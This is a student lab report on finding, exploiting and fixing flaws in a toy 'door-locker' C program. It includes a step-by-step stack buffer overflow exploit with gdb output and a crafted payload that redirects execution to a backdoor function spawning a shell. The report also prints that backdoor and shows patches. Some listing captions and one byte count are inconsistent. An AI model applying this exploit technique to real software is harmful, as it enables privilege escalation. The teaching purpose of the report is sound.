The Bad Program - Bug fixing report

Secure Programming

26 November 2024

Gomez Montero Andrea, Volonterio Luca

Contents

Introduction

The purpose of this lab is to compile a C project to match a given unsafe executable and then to make it secure, both by tweaking the compilation options and by patching the code.

This report contains details on how the executables were analyzed to ensure the similarity, which compilation flags have been found, how the code has been patched as well as some best practices to ensure the security of the project in the future.

1 Analysis Protocol

This section describes the analysis conducted to identify and assess potential security vulnerabilities.

1.1 Threat Identification

Threat identification was done by analyzing the threats that could exploit the vulnerabilities discovered during the examination of "The Unknown Program" and comparing them with the source code provided later. Additionally, an analysis of the external library methods used in the program was performed.

The main threats identified were:

- Malicious input exploitation: There is no type validation for any of the inputs. The program expects parameters to be characters that can be converted into integers for comparison. However, there is no check to ensure that this behavior is enforced properly. When the program attempts to convert these parameters into integer values, the function used, `atoi`, returns a value of 0, which is an integer value, if the conversion fails. This poses a threat, as a potential attacker could use non-numerical values to cause the program to behave in unintended ways.

- Buffer overflow attack: The program uses the `scanf` function, which is known to be vulnerable to buffer overflow attacks. This vulnerability allows an attacker to overwrite memory addresses on the stack, potentially enabling the execution of malicious code or altering the program's control flow.

- Exploitation of unused functions: The program contains unused functions. This is problematic because attackers could potentially discover hidden functionalities within these unused functions that might be exploited. Additionally, it complicates code reviews, as it becomes harder to discern which functions are necessary. This issue is exacerbated when combined with the next point.

- Elevation of privileges: A method was found that elevates the program's privileges by opening a sudo terminal without requiring user authentication. Although this method was unused, its presence is concerning. Additionally, if the method is called from another part of the program, either accidentally or by an attacker, it could grant elevated security privileges.

1.2 Threat Assessment

For the threat assessment, the likelihood and impact of each threat were evaluated on a scale from 1 (low) to 5 (high). To determine the overall risk score, the likelihood and impact scores were multiplied. The main threats identified were:

- Parameter malicious input exploitation:
  - Likelihood: 2 Since the data is coming from the sensors, the attacker must tamper with the sensors or systems to input different values and open the door.
  - Impact: 4 The impact itself is high because it exposes the system and allows the user to open the door.
  - Risk score: 8 (Low)
- Buffer overflow attack:
  - Likelihood: 5 It is a very common threat, so many attackers look for it, and it is also very easy for the attacker to exploit since they only need access to the program itself.
  - Impact: 5 The impact is high since it alters the entire flow of the program.
  - Risk score: 25 (Very High)
- Exploitation of unused functions and elevation of privileges: For the threat assessment, these two are combined since the attack itself uses an unused function to elevate the attacker's privileges.
  - Likelihood: 5 The likelihood is high since, thanks to the hard-coded message, it is very easy for the attacker to understand that there is a way to obtain elevated privileges, and they can gain a lot of privileges from this attack.
  - Impact: 5
  - Risk score: 25 (Very High)

2 Legacy flags to replicate the original version

The compilation flags found in the Makefile of the source code were different from the ones used to compile the first executable. This can be noticed by running the command `checksec --file=door-locker` on both files. Listing 2 contains the results of running this command on the first executable, while 3 contains the results of compiling the source code with the Makefile.

The flags required to replicate the previous configuration can be found in Listing 1.

```
LEGCFLAGS  = -m32 -fPIE -fno-stack-protector -D\_FORTIFY\_SOURCE=0
LEGLDFLAGS = -pie -m32 -flto
```

Listing 1: Command used to get dynamic libraries used by the `door-locker` program.

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH
    Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   45)
    Symbols       No    0       1
```

Listing 2: Command used to get dynamic libraries used by the `door-locker` program.

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH
    Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   72)
    Symbols       Yes   1       1
```

Listing 3: Command used to get dynamic libraries used by the `door-locker` program.

2.1 Legacy flags explanation

There are two different kinds of flags that are used for compiling: the linker flags (LDFLAGS) and the compiler flags (CFLAGS).

2.1.1 Legacy CFLAGS (LEGCFLAGS)

This subsection contains a brief explanation of the LEGCFLAGS.

- `-m32`: Specifies that the program is compiled as a 32-bit executable.
- `-fPIE`: Instructs the compiler to generate position-independent executable code.
- `-fno-stack-protector`: Disables the stack protector.
- `-D_FORTIFY_SOURCE=0`: Disables security features provided by the compiler, such as bounds checking for functions that are vulnerable to buffer overflow attacks.

2.1.2 Legacy LDFLAGS (LEGLDFLAGS)

The following is a brief explanation of the LEGLDFLAGS:

- `-pie`: Instructs the linker to produce a position-independent executable.
- `-m32`: Indicates that the program is being compiled as a 32-bit executable.
- `-flto`: Enables link-time optimizations.

2.2 Exploiting the same vulnerabilities

The assembly code itself has a few differences, which is normal because the generated file depends not only on the flags and content of the Makefile but also on the compiler version and build environment. However, both versions exhibit the same vulnerabilities. This was demonstrated by exploiting them in the same way.

2.2.1 Inconsistent application state

Listing 4 shows how receiving two non-numeric random values allows the user to open the door.

```
agm@AGM:/mnt/c/Users/andre/OneDrive/CYBERUS/Courses/Secure_programming/Unsupervised/archive/
    door-locker-project$ ./door-locker kjnsd kjasnd
You entered kjnsd and kjasnd.
Do you agree ? (Y,n):
Y

Checking values
Valid access.
Opened.
No root.
```

Listing 4: Example of inconsistent behavior

2.2.2 Buffer overflow and elevation of privileges

To perform this attack, the same steps as the buffer overflow exploitation were followed. This attack is possible because the program uses the `scanf` method, and there is a method (`fnR`) that opens a sudo console without prompting for any kind of user authentication.

1. Open the `door-locker` program with the Linux gdb debugger.
2. Use the `disas fnR` command to check the starting address of the `fnR` method (`0x565563b5`). Listing 5 shows the output of the command:

```
(gdb) disas fnR
Dump of assembler code for function fnR:
   0x565563b5 <+0>:     push   %ebx
   0x565563b6 <+1>:     sub    $0x14,%esp
   0x565563b9 <+4>:     call   0x56556100 <__x86.get_pc_thunk.bx>
   0x565563be <+9>:     add    $0x2c02,%ebx
   0x565563c4 <+15>:    lea    -0x1f25(%ebx),%eax
   0x565563ca <+21>:    push   %eax
   0x565563cb <+22>:    call   0x56556070 <puts@plt>
   0x565563d0 <+27>:    lea    -0x1f14(%ebx),%eax
   0x565563d6 <+33>:    mov    %eax,(%esp)
   0x565563d9 <+36>:    call   0x56556070 <puts@plt>
   0x565563de <+41>:    lea    -0x1ef8(%ebx),%eax
   0x565563e4 <+47>:    mov    %eax,(%esp)
   0x565563e7 <+50>:    call   0x56556080 <system@plt>
   0x565563ec <+55>:    mov    %eax,(%esp)
   0x565563ef <+58>:    call   0x56556090 <exit@plt>
End of assembler dump.
```

Listing 5: Disassembly of the `fnR` function

- Checking the addresses and registers of the `validate` method using the `disas validate` command, as shown in Listing 6.

```
(gdb) disas validate
Dump of assembler code for function validate:
   0x565562f5 <+0>:     push   %esi
   0x565562f6 <+1>:     push   %ebx
   0x565562f7 <+2>:     sub    $0x28,%esp
   0x565562fa <+5>:     call   0x56556100 <__x86.get_pc_thunk.bx>
   0x565562ff <+10>:    add    $0x2cc1,%ebx
   0x56556305 <+16>:    mov    0x34(%esp),%eax
   0x56556309 <+20>:    push   0x8(%eax)
   0x5655630c <+23>:    push   0x4(%eax)
   0x5655630f <+26>:    lea    -0x1f68(%ebx),%eax
   0x56556315 <+32>:    push   %eax
   0x56556316 <+33>:    call   0x56556060 <printf@plt>
   0x5655631b <+38>:    add    $0x8,%esp
   0x5655631e <+41>:    lea    0x14(%esp),%esi
   0x56556322 <+45>:    push   %esi
   0x56556323 <+46>:    lea    -0x1f71(%ebx),%eax
   0x56556329 <+52>:    push   %eax
   0x5655632a <+53>:    call   0x565560a0 <__isoc99_scanf@plt>
   0x5655632f <+58>:    add    $0x8,%esp
   0x56556332 <+61>:    lea    -0x1f6e(%ebx),%eax
   0x56556338 <+67>:    push   %eax
   0x56556339 <+68>:    push   %esi
   0x5655633a <+69>:    call   0x56556040 <strcmp@plt>
   0x5655633f <+74>:    add    $0x10,%esp
   0x56556342 <+77>:    test   %eax,%eax
   0x56556344 <+79>:    je     0x56556361 <validate+108>
   0x56556346 <+81>:    sub    $0x8,%esp
   0x56556349 <+84>:    lea    -0x1f6c(%ebx),%eax
   0x5655634f <+90>:    push   %eax
   0x56556350 <+91>:    push   %esi
   0x56556351 <+92>:    call   0x56556040 <strcmp@plt>
   0x56556356 <+97>:    add    $0x10,%esp
   0x56556359 <+100>:   test   %eax,%eax
   0x5655635b <+102>:   setne  %al
   0x5655635e <+105>:   movzbl %al,%eax
   0x56556361 <+108>:   add    $0x24,%esp
   0x56556364 <+111>:   pop    %ebx
   0x56556365 <+112>:   pop    %esi
   0x56556366 <+113>:   ret
End of assembler dump.
```

Listing 6: Disassembly of `validate()` function

3. Setting two breakpoints: one before and one after the call to the `sscanf` method, as shown in Listing 7.

```
(gdb) break *(validate+52)
Breakpoint 1 at 0x1329: file src/validation/validation_functions.c, line 21.
(gdb) break *(validate+69)
Breakpoint 2 at 0x133a: file src/validation/validation_functions.c, line 22.
```

Listing 7: Setting breakpoints

4. Using the `info frame` command to get the address saved in the `eip` register (`0x56556252`), which corresponds to the return address of the `validate` method and is the address that needs to be changed during the buffer overflow. This can be observed in Listing 8.

```
(gdb) info frame
Stack level 0, frame at 0xffffd020:
 eip = 0x56556329 in validate
    (src/validation/validation_functions.c:21);
    saved eip = 0x56556252
 called by frame at 0xffffd070
 source language c.
 Arglist at 0xffffcfe8, args: argv=0xffffd124
 Locals at 0xffffcfe8, Previous frame's sp is 0xffffd020
 Saved registers:
  ebx at 0xffffd014, esi at 0xffffd018, eip at 0xffffd01c
```

Listing 8: Inspecting function frame before scanf

5. Running the program and responding to the `Do you agree?` question with a small string of characters whose values are known. For this, ten As, ten Bs, and ten Cs were inserted in an attempt to find the address that must be changed. The ASCII value of A is 41, so the number of bytes between the first 41 value and the value `0x56556252` must be counted. The command `x/40xw $esp` was then used to check the values on the stack. Looking at Listing 9, it is possible to notice that there are 32 characters that must be sent before the new desired return address (`0x565563b5`).

```
Do you agree ? (Y,n):

Breakpoint 1, 0x56556329 in validate (argv=0xffffd124) at src/validation/
    validation_functions.c:21
21          scanf("%s", buffer);
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCC

Breakpoint 2, 0x5655633a in validate (argv=0xffffd124) at src/validation/
    validation_functions.c:22
```

```
22          return strcmp(buffer, "Y") && strcmp(buffer, "y");
(gdb) x/40xw $esp
0xffffcfe0:     0xffffcffc      0x56557052      0xffffd2f6      0xf7ffd000
0xffffcff0:     0xf7fc4540      0xffffffff      0x56555034      0x41414141
0xffffd000:     0x41414141      0x42424141      0x42424242      0x42424242
0xffffd010:     0x43434343      0x43434343      0xff004343      0x56556252
0xffffd020:     0xffffd124      0x00000000      0xf7d9d4be      0x56556216
0xffffd030:     0xf7fbe4a0      0xf7fd6f20      0xf7d9d4be      0xf7fbe4a0
0xffffd040:     0xffffd080      0xf7fbe66c      0xffffd070      0xf7fab000
0xffffd050:     0xffffd124      0xf7ffcb80      0xf7ffd020      0xf7da6519
0xffffd060:     0xffffd280      0x00000070      0xf7ffd000      0xf7da6519
0xffffd070:     0x00000003      0xffffd124      0xffffd134      0xffffd090
(gdb) c
Continuing.
```

Listing 9: Inspecting before scanf

6. Writing a small script that saves 32 characters (28 As, 2 Bs, and 3 Cs), followed by the **fnR** function address in little-endian format, into the `payload.txt` file.

```
[e2405617@ens-ssilo-0326 project]$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAABBCC\xb5\x63\
    x55\x56" > payload.txt
```

Listing 10: Crafting payload

7. Finally, running the program from the debugger with the command `r 1 2 < payload.txt`. The `< payload.txt` inserts the contents of the `payload.txt` file in place of the first prompt, which will insert the malicious text that overwrites the return address of the `validate` function with the address of the `fnR` function, which in turn will open a root shell, as shown in Listing 11.

```
(gdb) r 1 2 < payload.txt
Starting program: /mnt/c/Users/andre/OneDrive/CYBERUS/Courses/Secure_programming/
    Unsupervised/archive/door-locker-project/door-locker 1 2 < payload.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You entered 1 and 2.
Do you agree ? (Y,n):
Opened.
Be careful, you are ROOT !

[Detaching after vfork from child process 85247]
SUPPOSED ROOT SHELL >
```

Listing 11: Running program in GDB with payload

2.2.3 Inconsistent application state

In Listing 12, an example of normal execution is shown when the user answers Y to the confirmation. It receives two integers and opens the door if they are equal. On the other hand, if they have different values, the door remains locked.

```
[e2405617@ens-ssilo-0239 project]$ ./door-locker 1 2
You entered 1 and 2.
Do you agree ? (Y,n):
Y

Checking values
The door is locked.
[e2405617@ens-ssilo-0239 project]$ ./door-locker 1 1
You entered 1 and 1.
Do you agree ? (Y,n):
Y

Checking values
Valid access.
Opened.
No root.
```

Listing 12: Example of inconsistent behaviour

2.3 New flags to make the compilation safer

In order to make the compilation safer, the LEGLDFLAGS can remain the same, but the LEFCFLAGS have been replaced with the following:

- `-Wall`: Enables additional warnings.
- `-Wextra`: Also enables additional warnings.
- `-Werror`: Treats warnings as errors.
- `-fPIC`: Enables position-independent code.
- `-fPIE`: Enables position-independent executables.
- `-fvisibility=hidden`: Reduces the visibility of exported symbols.
- `-DNDEBUG`: Disables debugging code, making it harder to analyze potential vulnerabilities.

3 Code Patching & Best Practices

Here, an overview of the changes to the code is provided. Vulnerabilities of the application not only include memory-related issues (i.e., buffer overflow) but also logic errors in the algorithm. Every subsection proposes an actual fix for an encountered problem and suggests a general best practice to follow when coding.

3.1 Memory Safety

The most severe vulnerability of the project is clearly the unsafe usage of *scanf*() that can cause a buffer overflow. This is because there is a fixed-size buffer that gets filled using the %*s* format string, resulting in the *scanf* function call reading whatever it gets from *stdin* and copying it to the buffer address, *without checking its bounds*. This could clearly lead to memory corruption because there is no constraint on the input length, thus allowing the content of the stack located after the buffer (potentially also the *return address*) to be overwritten.

There are multiple ways to tackle this issue, but the fastest is to specify the size of the buffer in the format string, as done in the following code [13]. What this does is discard the extra characters after the specified number of letters have been read. In addition to this, the buffer size has been reduced to just fit one character, given that the purpose of this prompt is just to ask for a *Y/N* reply.

```c
int validate(char * argv[]) {
    // Adjusted buffer size to just contain one char
    char buffer[2];
    printf("You entered %s and %s. \nDo you agree ? (Y,n):\n", argv[1], argv[2]);
    // Added buffer size specification to format string.
    scanf("%1s", buffer);
    return strcmp(buffer, "Y") && strcmp(buffer, "y");
}
```

Listing 13: Validate Method Patch

In general, memory safety should always be taken into account when coding in C. This means always reading the manual and checking exactly what a function does and which parameters it takes, because the damage potential is high, especially for functions that work directly with buffers and pointers. Also, always try input fuzzing to test an application before releasing it.

3.2 Unused Code Removal

Inside the *action_functions.c* file, there was an unused method that spawned a root shell [14]. Aside from the fact that this is a really bad idea in software development in general, the fact that this method is not used in the application provides a safe ground for removal. Doing this will also result in the removal of the code from the executable, thus removing the possibility for an attacker to jump to a root shell using an overflow attack.

```c
void fnR(void) {
    puts("Opened.");
    puts("Be careful, you are ROOT !\n");
    int value = system("/usr/bin/env PS1=\"SUPPOSED ROOT SHELL > \" python3 -c 'import pty;
    pty.spawn([\"/bin/bash\", \"--norc\"])'");
    exit(value);
}
```

Listing 14: Unused Unsafe Method

This method has been commented out in the code, as well as in the header files, along with the *stdlib* import needed for the *system*() call. This treatment should be applied to all the software components that are not needed.

3.3 Input Type Check

Each piece of software should check raw external input, no matter what it does or how big it is. In this application, the two Command Line Inputs are treated as numbers without checking if they actually are, and this causes any non-numeric value to be treated as 0 due to the way the conversion is performed.

To implement this check, an appropriate method [15] has been created to verify that a string is numeric.

```c
// Added string check method
int string_is_numeric(const char *str) {
    if (str == NULL) {
        return 0; // Convention: NULL is not numeric
    }

    // Check if the string is empty
    if (*str == '\0') {
        return 0; // Convention: Empty string is not numeric
    }

    // Iterate through the string and check each character
    for (size_t i = 0; str[i] != '\0'; i++) {
        if (!isdigit((unsigned char)str[i])) {
            return 0; // Non-numeric character found
        }
    }

    return 1; // All characters are numeric
}
```

Listing 15: New Type Check Method

This method is then used in the *main*() function [16] before performing the conversion with the *atoi*() method. In case one of the strings is not numeric, the program terminates with an error code.

```
puts("\nChecking values");
// Add input type check
if(!string_is_numeric(argv[2]) || !string_is_numeric(argv[1])){
    puts("\nError in input parsing. Please check type!");
    // Return error when type is wrong
    return 1;
}
in0   = atoi(argv[2]);
in1   = atoi(argv[1]);
check = fnchck(in1, in0);
```

Listing 16: Type Check Usage

4 Future Steps

In addition to the vulnerabilities mentioned in the previous sections, a lack of proper protocols was identified, such as the lack of code tracking, qualified peer reviews, and testing. Because of this, it is suggested to start using the following good practices:

- Code tracking: Code development takes significant time and resources. If the code is lost and patches are needed, re-development would be required. Furthermore, without proper tracking, it's impossible to review the code for obsolete methods. Therefore, the proposal is to use Git or other version control software.
- Enforce peer reviews: Version control software allows the creation of pull requests before uploading code to the main repository and also allows the creation of rules, such as mandatory code reviews. This would allow other programmers to give feedback before adding changes that may include vulnerabilities by mistake.
- Test-driven development (TDD): The idea of this is to create the tests that will validate if the code meets the requirements before writing the code itself. It helps ensure that tests are added from the beginning rather than as an afterthought. It also encourages developers to write small, more focused, and modular code. The tests also offer feedback to the developers because they should think about corner cases and the code's behavior in more detail before even starting to code.
- Secure input validation: Use functions to validate the input types and corner cases before starting to code the functionalities themselves.
- Use of secure libraries and functions: There are libraries known to be safe and others known for the contrary. Searching for vulnerabilities before using libraries is a good practice.
- Error handling: Error handling ensures the code behaves as expected and introduces transparency into which cases should cause it to fail.

- Use of least privilege principle: Use the least privilege principle, and if higher privilege is needed for certain parts of the code, introduce proper authentication protocols that ensure users can only have the privileges they are entitled to.
- Remove unused or commented-out code: If it is needed in the future, it can be obtained from a previous version thanks to version tracking software.
- Regular audits, updates, and patching: Checking, updating, and patching the code regularly to substitute deprecated functions is a good practice.

Conclusion

In this lab, we combined theoretical knowledge and practical skills in C secure coding and static analysis tools to judge and enhance the security of the "door locker" program. By revisiting and improving upon the code from Project Lab 1, we addressed previously identified vulnerabilities, ensuring resilience against identified attacks. This lab emphasized not only the importance of identifying and patching existing vulnerabilities but also the value of proactive measures to avoid such flaws in the first place.